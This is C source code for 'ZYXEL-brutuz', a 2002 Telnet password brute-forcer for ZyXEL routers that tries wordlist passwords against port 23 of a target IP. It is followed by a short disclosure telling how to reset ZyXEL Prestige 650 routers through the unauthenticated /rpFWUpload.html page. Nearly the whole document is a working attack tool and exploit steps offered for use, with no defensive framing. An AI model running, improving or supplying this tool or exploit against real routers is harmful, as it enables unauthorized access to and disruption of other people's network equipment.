/*

ZYXEL-brutuz v 1.0.0

Password-brutforcer for ZyXel Routerz...

C'ed by [ zWARYAG ] / BetaFly Computer Team

to compile : cc zyxbrut.c -o zyxbrut

Aug : 2k2

thnkzz to DruiD / BetaFly CT.

kengurenko@australkia.edu

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>

void USAGE(void);

int main(int argc, char *argv[])
{
int port=23;
int s;
struct sockaddr_in addr;
int sock;
char pass_buf[30];
FILE *pass_filePtr;
char banner[2048];
char finder[5]="asswo";

if(argc!=3) USAGE();

if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("Socket ERROR");
exit(1);
}

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);

if ((pass_filePtr=fopen(argv[2],"r"))==NULL) {
printf("[ERROR] '%s' could not be opened!\n",argv[2]);
exit(1);
}


fscanf(pass_filePtr,"%s", pass_buf);

while(!feof(pass_filePtr)) {

if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("Socket ERROR");
exit(1);
}

if ((connect(sock,(struct sockaddr *) &addr, sizeof(addr))) == 0) {

bzero(banner,sizeof(banner));

s=send(sock,pass_buf,sizeof(pass_buf),0);
read(sock,banner,sizeof(banner));

s=send(sock,"\n",sizeof("\n"),0);
read(sock,banner,sizeof(banner));

if(strstr(banner,finder)) printf("%s\n",pass_buf);
else {
printf("\nOK! Password iz : %s\n",pass_buf);
close(sock);
exit(0);
}

}

fscanf(pass_filePtr,"%s", pass_buf);
close(sock);
}

return 0;
}


void USAGE()
{
printf("\n");
printf(" ZyXel-Brutuz v.1.0 by [zWARYAG] / BetaFly Computer Team\n");
printf(" Uze : zyxbrut <ip-addr> <passlizt>\n");
printf("\n");
exit(0);
}

Hi, I found a bug in ZyXEL Prestige 650 HW Routers with Http Remote Administration active.

Exploting this bug, the attacker can reset the router configurantion.

The "/rpFWUpload.html" is not password protected. To exploit this bug you only need write that:

http://[Router ip]/rpFWUpload.html

and click the Reset button.